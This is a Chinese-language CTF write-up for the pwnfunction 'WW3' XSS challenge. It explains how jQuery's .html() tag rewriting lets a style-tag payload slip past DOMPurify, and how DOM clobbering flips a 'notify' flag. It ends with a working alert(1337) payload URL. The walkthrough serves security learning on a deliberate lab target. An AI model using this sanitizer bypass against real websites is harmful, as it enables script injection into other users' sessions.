XSS-Jquery.html()+DOM破坏

目录

靶场网址:​ https://xss.pwnfunction.com/challenges/ww3/ ​

分析代码:

Jquery.html()解析原理:

DOM-clobbering

JS作用域&作用域链


靶场网址:​ https://xss.pwnfunction.com/challenges/ww3/ ​

分析代码:

  <div>
        <h4>Meme Code</h4>
        <textarea class="form-control" id="meme-code" rows="4"></textarea>
        <div id="notify"></div>
    </div>
     
    <script>
        /* Utils */
        const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
        const memeTemplate = (img, text) => {
            return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
                `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
                `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
                `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
                `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
        }
        const memeGen = (that, notify) => {
            if (text && img) {
                template = memeTemplate(img, text)
     
                if (notify) {
                    html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
                }
     
                setTimeout(_ => {
                    $('#status').remove()
                    notify ? ($('#notify').html(html)) : ''
                    $('#meme-code').text(template)
                }, 1000)
            }
        }
    </script>
     
    <script>
        /* Main */
        let notify = false;
        let text = new URL(location).searchParams.get('text')
        let img = new URL(location).searchParams.get('img')
        if (text && img) {
            document.write(
                `<div class="alert alert-primary" role="alert" id="status">`+
                `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
                `Creating meme... (${DOMPurify.sanitize(text)})</div>`
            )
        } else {
            $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
        }
    </script>

可控的输入的点有两个text,img

    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')

但是 img作为img标签的src属性被写入,且被过滤了关键符号。

text作为文本被渲染,渲染前都经过一次DOMPurify.sanitize处理

     //part1
    document.write(
    ...
    Creating meme... (${DOMPurify.sanitize(text)})
    )

    //part2
    html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)

    notify ? ($('#notify').html(html)) : ''

Jquery.html()解析原理:

乍一看经过DOMPurify后的这些交互点都很安全,但是使用html()解析会存在标签逃逸问题。

两种解析html的方式:jquery.html&innerhtml。innerHTML是原生js的写法,Jqury.html()也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。

关于两种方式:Jquery.html()和innerHTMl的区别我们用示例来看。

对于innerHTML:

    模拟浏览器自动补全标签,不处理非法标签。同时,<style>标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。

 因此<style><style/><script>alert(1337)//会被渲染如下

    <style>
        <style/><script>alert(1337)//
    </style>

对于Jqury.html():

    最终对标签的处理是在htmlPrefilter()中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。他会对不规范的标签进行修复。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi
     
    jQuery.extend( {
        htmlPrefilter: function( html ) {
            return html.replace( rxhtmlTag, "<$1></$2>" );
        }
        ...
    })
     
    tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

这个正则表达式在匹配<*/>之后会重新生成一对标签(区别于直接调用innerHTML),例如:匹配到<div/>之后,他会修复这个标签,变为:<div></div>

所以我们传入的语句<style><style/><script>alert(1337)//则会被解析成如下形式,成功逃逸<script>标签。

    <style>
        <style>
    </style>
    <script>alert(1337)//

至于这里最后面为何要加两个//:

因为innerHtml会自动补全我们的不规范的标签,这里的style标签少一个,所以就会补全为<style> <style></style><script>alert(1337)//</style>,而我们的//刚好酒吧最后的style标签注释掉了。

而我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,我们传入的payload是传入到style这个标签里面了,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script标签从而xss。

DOM-clobbering

而要想执行我们的payload,只有在notify不为false的时候才能顺利进入html()方法

    let notify = false;
     
    document.write(`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`)
     
    const memeGen = (that, notify) => {
            if (notify) {
                    html = (`${DOMPurify.sanitize(text)}`)
                }
            ...
            $('#notify').html(html)
    }

所以我们需要用DOM破坏来让notify变为true

尝试用DOM-clobbering创造一个id为notify的变量,但是这种方式不允许覆盖已经存在的变量。

不过我们依然可以借助标签的name属性值,为document对象创造一个变量document.notify
 

JS作用域&作用域链

    js的作用域就是会先去判断当前的scope是否有局部变量notify,若不存在向上查找window.document.notify,仍不存在继续向上到全局执行环境即window.notify为止。

所以我们用DOM破坏让name="notify",当它在局部找不到notify时,就会向上查找,最终找到我们覆盖的notify

而我们想要进入html()方法中,还需满足text&&mg这个条件

在当前函数内找不到text和img,onload 的作用域也找不到,就会往上去 script下面找,而多个 script 属于同一个作用域,在script中有text和img,于是就找到了。

而我们想要img为真,必须先执行text中的内容,因为text中有让notidy变为true的代码:DOM破坏将notify覆盖掉,它img中的onload变为真。这样才能满足text&&mg这个条件

    <img name=notify><style><style/><script>alert()//

 

那我们这里就要考虑代码执行顺序的问题了,如果先执行的是img,那我们的payload就不可能成功,原因刚刚讲过了。

而恰好img加载图片是异步加载,所以我们的text中的代码先执行, 然后才会加载图片,然后才会触发onload,而notify为真,就走到html()这个方法中了,就会执行我们的payload。

最终传参:

img=https://i.imgur.com/PdbDexI.jpg&text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F

 

代码执行成功!
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值